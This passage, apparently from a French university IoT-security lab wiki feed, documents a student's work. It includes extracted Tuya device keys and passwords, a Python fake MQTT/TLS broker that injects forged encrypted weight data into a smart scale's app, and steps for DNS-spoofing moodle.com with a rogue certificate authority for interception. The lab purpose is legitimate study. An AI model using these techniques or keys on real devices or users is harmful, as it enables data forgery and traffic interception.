./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# 🔑 LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;🚀 POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour autant, le poid n'est toujours pas visible dans l'application&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10942</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10942"/>
		<updated>2025-12-16T16:31:15Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
